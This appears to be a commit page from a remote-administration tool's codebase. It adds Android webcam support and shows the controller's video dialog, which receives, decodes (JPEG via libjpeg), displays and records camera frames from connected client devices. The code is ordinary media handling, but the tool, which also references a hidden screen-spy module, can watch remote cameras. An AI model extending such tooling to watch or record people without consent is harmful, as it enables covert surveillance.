Android 摄像头(COMMAND_WEBCAM)此前未实现。客户端用 Camera2 ImageReader 直接输出 JPEG(1280x720、8fps、按传感器方向摆正),第一帧到达时从 JPEG SOF 读出真实宽高再发 TOKEN_WEBCAM_BITMAPINFO(部分 HAL 会按方向物理旋转 导致宽高互换,以实际帧为准可避免服务端尺寸不符丢帧黑屏),之后每帧 [TOKEN_WEBCAM_DIB][isCompress=1][JPGD][JPEG]。 服务端视频对话框识别 JPGD FOURCC,用 libjpeg 直接解成 bottom-up BGR24; DrawDib 与「保存 AVI」两条路径都不用改,目标机也不需要安装 VFW 编解码器。 BITMAPINFO 的 biSizeImage 按 DWORD 对齐的 stride 计算。 注意:服务端不要引用 turbojpeg 的 tj* 符号——会拉进与 Debug 构建不兼容的 运行时,启动即 0xC0000005;解码统一走项目已在用的 jpeg_* API。 验证:模拟器虚拟相机出图,窗口标题 127.0.0.1 - Video 1280x720;关闭对话框 后 camera stopped,服务端稳定。 Model: deepseek-flash Co-Authored-By: Claude Code <noreply@anthropic.com>
386 lines
11 KiB
C++
386 lines
11 KiB
C++
// VideoDlg.cpp : 实现文件
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "2015Remote.h"
|
||
#include "VideoDlg.h"
|
||
#include "afxdialogex.h"
|
||
// Android 客户端直接发 JPEG:用项目已在用的 libjpeg(HideScreenSpyDlg.cpp 的
|
||
// JPG_BMP 走同一套 API 与同一份库),不再引入 turbojpeg 的 tj* 运行时符号。
|
||
#include "../common/jpeglib.h"
|
||
|
||
|
||
enum {
|
||
IDM_ENABLECOMPRESS = 0x0010, // 视频压缩
|
||
IDM_SAVEAVI, // 保存录像
|
||
};
|
||
// CVideoDlg 对话框
|
||
|
||
IMPLEMENT_DYNAMIC(CVideoDlg, CDialog)
|
||
|
||
|
||
void CVideoDlg::SaveAvi(void)
|
||
{
|
||
CMenu *pSysMenu = GetSystemMenu(FALSE);
|
||
if (pSysMenu->GetMenuState(IDM_SAVEAVI, MF_BYCOMMAND) & MF_CHECKED) {
|
||
pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_UNCHECKED);
|
||
m_aviFile.Empty();
|
||
m_aviStream.Close();
|
||
return;
|
||
}
|
||
|
||
CString strFileName = m_IPAddress + CTime::GetCurrentTime().FormatL("_%Y-%m-%d_%H-%M-%S.avi");
|
||
CFileDialog dlg(FALSE, "avi", strFileName, OFN_OVERWRITEPROMPT, _T("Video(*.avi)|*.avi|"), this);
|
||
if(dlg.DoModal () != IDOK)
|
||
return;
|
||
m_aviFile = dlg.GetPathName();
|
||
int code;
|
||
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full)) {
|
||
CString msg;
|
||
msg.FormatL("创建录像文件失败: %s\r\n错误代码: %s", m_aviFile.GetString(), CBmpToAvi::GetErrMsg(code).c_str());
|
||
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
|
||
m_aviFile.Empty();
|
||
} else {
|
||
pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_CHECKED);
|
||
}
|
||
}
|
||
|
||
|
||
CVideoDlg::CVideoDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||
: DialogBase(CVideoDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_CAMERA)
|
||
{
|
||
m_nCount = 0;
|
||
m_aviFile.Empty();
|
||
m_BitmapInfor_Full = NULL;
|
||
m_pVideoCodec = NULL;
|
||
|
||
m_BitmapData_Full = NULL;
|
||
m_BitmapCompressedData_Full = NULL;
|
||
ResetScreen();
|
||
}
|
||
|
||
|
||
void CVideoDlg::ResetScreen(void)
|
||
{
|
||
if (m_BitmapInfor_Full) {
|
||
delete m_BitmapInfor_Full;
|
||
m_BitmapInfor_Full = NULL;
|
||
}
|
||
|
||
int iBitMapInforSize = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
|
||
m_BitmapInfor_Full = (LPBITMAPINFO) new BYTE[iBitMapInforSize];
|
||
m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, iBitMapInforSize, 1);
|
||
m_BitmapData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage];
|
||
m_BitmapCompressedData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage];
|
||
}
|
||
|
||
CVideoDlg::~CVideoDlg()
|
||
{
|
||
if (!m_aviFile.IsEmpty()) {
|
||
SaveAvi();
|
||
m_aviFile.Empty();
|
||
}
|
||
|
||
if (m_pVideoCodec) {
|
||
delete m_pVideoCodec;
|
||
m_pVideoCodec = NULL;
|
||
}
|
||
|
||
if (m_BitmapData_Full) {
|
||
delete m_BitmapData_Full;
|
||
m_BitmapData_Full = NULL;
|
||
}
|
||
|
||
if (m_BitmapInfor_Full) {
|
||
delete m_BitmapInfor_Full;
|
||
m_BitmapInfor_Full = NULL;
|
||
}
|
||
|
||
if (m_BitmapCompressedData_Full) {
|
||
delete m_BitmapCompressedData_Full;
|
||
m_BitmapCompressedData_Full = NULL;
|
||
}
|
||
}
|
||
|
||
void CVideoDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
__super::DoDataExchange(pDX);
|
||
}
|
||
|
||
|
||
BEGIN_MESSAGE_MAP(CVideoDlg, CDialog)
|
||
ON_WM_CLOSE()
|
||
ON_WM_SYSCOMMAND()
|
||
ON_WM_PAINT()
|
||
END_MESSAGE_MAP()
|
||
|
||
|
||
// CVideoDlg 消息处理程序
|
||
|
||
|
||
BOOL CVideoDlg::OnInitDialog()
|
||
{
|
||
__super::OnInitDialog();
|
||
|
||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||
if (SysMenu != NULL) {
|
||
m_hDD = DrawDibOpen();
|
||
|
||
m_hDC = ::GetDC(m_hWnd);
|
||
SysMenu->AppendMenuL(MF_STRING, IDM_ENABLECOMPRESS, "视频压缩(&C)");
|
||
SysMenu->AppendMenuL(MF_STRING, IDM_SAVEAVI, "保存录像(&V)");
|
||
SysMenu->AppendMenuSeparator(MF_SEPARATOR);
|
||
|
||
CString strString;
|
||
|
||
strString.FormatL("%s - 视频管理 %d×%d", m_IPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||
|
||
SetWindowText(strString);
|
||
|
||
BYTE bToken = COMMAND_NEXT;
|
||
|
||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||
}
|
||
|
||
SetIcon(m_hIcon, TRUE);
|
||
SetIcon(m_hIcon, FALSE);
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
void CVideoDlg::OnClose()
|
||
{
|
||
CancelIO();
|
||
// 等待数据处理完毕
|
||
if (IsProcessing()) {
|
||
ShowWindow(SW_HIDE);
|
||
return;
|
||
}
|
||
if (!m_aviFile.IsEmpty()) {
|
||
SaveAvi();
|
||
m_aviFile.Empty();
|
||
}
|
||
|
||
DialogBase::OnClose();
|
||
}
|
||
|
||
void CVideoDlg::OnReceiveComplete(void)
|
||
{
|
||
++m_nCount;
|
||
|
||
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
|
||
case TOKEN_WEBCAM_DIB: {
|
||
DrawDIB();//这里是绘图函数,转到他的代码看一下
|
||
break;
|
||
}
|
||
default:
|
||
// 传输发生异常数据
|
||
break;
|
||
}
|
||
}
|
||
|
||
void CVideoDlg::DrawDIB(void)
|
||
{
|
||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||
if (SysMenu == NULL)
|
||
return;
|
||
|
||
const int nHeadLen = 1 + 1 + 4;
|
||
|
||
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
|
||
LPBYTE szBuffer = tmp.Buf();
|
||
UINT ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||
if (szBuffer[1] == 0) { // 没有经过H263压缩的原始数据,不需要解码
|
||
// 第一次,没有压缩,说明服务端不支持指定的解码器
|
||
if (m_nCount == 1) {
|
||
SysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||
}
|
||
SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED);
|
||
memcpy(m_BitmapData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen);
|
||
} else if (*(LPDWORD)(szBuffer + 2) == ENCODER_JPEG_DIRECT) {
|
||
// Android(Camera2)直接发 JPEG:不经过 VFW ICM,turbojpeg 直解
|
||
if (DecodeJpegFrame(szBuffer + nHeadLen, ulBufferLen - nHeadLen)) {
|
||
SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED);
|
||
}
|
||
} else { // 解码
|
||
////这里缓冲区里的的第二个字符正好是是否视频解码
|
||
InitCodec(*(LPDWORD)(szBuffer + 2)); //判断
|
||
if (m_pVideoCodec != NULL) {
|
||
SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED);
|
||
memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //视频没有解压
|
||
//这里开始解码,解码后就是同未压缩的一样了 显示到对话框上。 接下来开始视频保存成avi格式
|
||
m_pVideoCodec->DecodeVideoData(m_BitmapCompressedData_Full, ulBufferLen - nHeadLen,
|
||
(LPBYTE)m_BitmapData_Full, NULL, NULL); //将视频数据解压
|
||
}
|
||
}
|
||
|
||
PostMessage(WM_PAINT);
|
||
}
|
||
|
||
|
||
namespace {
|
||
|
||
// libjpeg 的默认 error_exit 会调 exit():一帧畸形 JPEG 就能结束整个服务端。
|
||
// 与 HideScreenSpyDlg.cpp 的 JPG_BMP 同一套 setjmp/longjmp 兜底。
|
||
struct VideoJpegErrorMgr {
|
||
jpeg_error_mgr pub; // 必须是第一个成员
|
||
jmp_buf jb;
|
||
};
|
||
|
||
void VideoJpegErrorExit(j_common_ptr cinfo)
|
||
{
|
||
longjmp(reinterpret_cast<VideoJpegErrorMgr*>(cinfo->err)->jb, 1);
|
||
}
|
||
|
||
void VideoJpegSilentMessage(j_common_ptr /*cinfo*/)
|
||
{
|
||
// 畸形/截断的 JPEG 可能被反复发送,保持静默避免刷屏
|
||
}
|
||
|
||
} // namespace
|
||
|
||
// Android 客户端(COMMAND_WEBCAM → Camera2 JPEG)的帧解码。
|
||
// BITMAPINFO 描述的是解码后的位图(BI_RGB / 24bpp / bottom-up),与 Windows
|
||
// 摄像头的 DIB 布局一致,DrawDib 和「保存 AVI」两条路径都不用改。
|
||
bool CVideoDlg::DecodeJpegFrame(const BYTE* data, UINT len)
|
||
{
|
||
if (!data || len == 0 || !m_BitmapInfor_Full || !m_BitmapData_Full)
|
||
return false;
|
||
|
||
const int dw = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||
const int dh = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
||
if (dw <= 0 || dh <= 0)
|
||
return false;
|
||
|
||
// 值初始化:longjmp 回来后要 destroy,不能是栈上的垃圾指针
|
||
struct jpeg_decompress_struct jds = {};
|
||
VideoJpegErrorMgr jem;
|
||
jds.err = jpeg_std_error(&jem.pub);
|
||
jem.pub.error_exit = VideoJpegErrorExit;
|
||
jem.pub.output_message = VideoJpegSilentMessage;
|
||
|
||
volatile bool created = false;
|
||
if (setjmp(jem.jb) != 0) {
|
||
if (created) jpeg_destroy_decompress(&jds);
|
||
return false;
|
||
}
|
||
|
||
jpeg_create_decompress(&jds);
|
||
created = true;
|
||
jpeg_mem_src(&jds, const_cast<unsigned char*>(data), len);
|
||
|
||
if (jpeg_read_header(&jds, TRUE) != JPEG_HEADER_OK) {
|
||
jpeg_destroy_decompress(&jds);
|
||
return false;
|
||
}
|
||
if ((int)jds.image_width != dw || (int)jds.image_height != dh) {
|
||
// BITMAPINFO 与相机分辨率在同一会话里固定;尺寸对不上宁可丢帧
|
||
Mprintf("[Video] JPEG %ux%u != bitmap %dx%d, frame dropped\n",
|
||
jds.image_width, jds.image_height, dw, dh);
|
||
jpeg_destroy_decompress(&jds);
|
||
return false;
|
||
}
|
||
|
||
jds.out_color_space = JCS_EXT_BGR;
|
||
if (!jpeg_start_decompress(&jds)) {
|
||
jpeg_destroy_decompress(&jds);
|
||
return false;
|
||
}
|
||
|
||
// BITMAPINFO 的 biSizeImage 按 DWORD 对齐的 stride 计算(见 Android 客户端
|
||
// SendBitmapInfo),这里逐行写回 bottom-up:第 0 行是图像最底部。
|
||
const int stride = (dw * 3 + 3) & ~3;
|
||
while (jds.output_scanline < jds.output_height) {
|
||
const int y = (int)jds.output_scanline;
|
||
JSAMPROW row = m_BitmapData_Full + (size_t)(dh - 1 - y) * stride;
|
||
if (jpeg_read_scanlines(&jds, &row, 1) != 1) {
|
||
jpeg_destroy_decompress(&jds);
|
||
return false;
|
||
}
|
||
}
|
||
|
||
if (!jpeg_finish_decompress(&jds)) {
|
||
jpeg_destroy_decompress(&jds);
|
||
return false;
|
||
}
|
||
jpeg_destroy_decompress(&jds);
|
||
return true;
|
||
}
|
||
|
||
void CVideoDlg::InitCodec(DWORD fccHandler)
|
||
{
|
||
if (m_pVideoCodec != NULL)
|
||
return;
|
||
|
||
m_pVideoCodec = new CVideoCodec;
|
||
if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) {
|
||
Mprintf("======> InitCompressor failed \n");
|
||
delete m_pVideoCodec;
|
||
// 置NULL, 发送时判断是否为NULL来判断是否压缩
|
||
m_pVideoCodec = NULL;
|
||
// 通知服务端不启用压缩
|
||
BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||
GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||
}
|
||
}
|
||
|
||
|
||
void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||
{
|
||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||
switch (nID) {
|
||
case IDM_SAVEAVI: {
|
||
SaveAvi();
|
||
break;
|
||
}
|
||
case IDM_ENABLECOMPRESS: {
|
||
CMenu *pSysMenu = GetSystemMenu(FALSE);
|
||
bool bIsChecked = pSysMenu->GetMenuState(IDM_ENABLECOMPRESS, MF_BYCOMMAND) & MF_CHECKED;
|
||
pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||
bIsChecked = !bIsChecked;
|
||
BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS;
|
||
if (!bIsChecked)
|
||
bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||
break;
|
||
}
|
||
}
|
||
|
||
__super::OnSysCommand(nID, lParam);
|
||
}
|
||
|
||
|
||
void CVideoDlg::OnPaint()
|
||
{
|
||
CPaintDC dc(this); // device context for painting
|
||
|
||
if (m_BitmapData_Full==NULL) {
|
||
return;
|
||
}
|
||
RECT rect;
|
||
GetClientRect(&rect);
|
||
|
||
DrawDibDraw
|
||
(
|
||
m_hDD,
|
||
m_hDC,
|
||
0, 0,
|
||
rect.right, rect.bottom,
|
||
(LPBITMAPINFOHEADER)m_BitmapInfor_Full,
|
||
m_BitmapData_Full,
|
||
0, 0,
|
||
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight,
|
||
DDF_SAME_HDC
|
||
);
|
||
|
||
if (!m_aviFile.IsEmpty()) {
|
||
m_aviStream.Write(m_BitmapData_Full);
|
||
// 提示正在录像
|
||
SetBkMode(m_hDC, TRANSPARENT);
|
||
SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
|
||
const LPCTSTR lpTipsString = "Recording";
|
||
TextOut(m_hDC, 0, 0, lpTipsString, lstrlen(lpTipsString));
|
||
}
|
||
}
|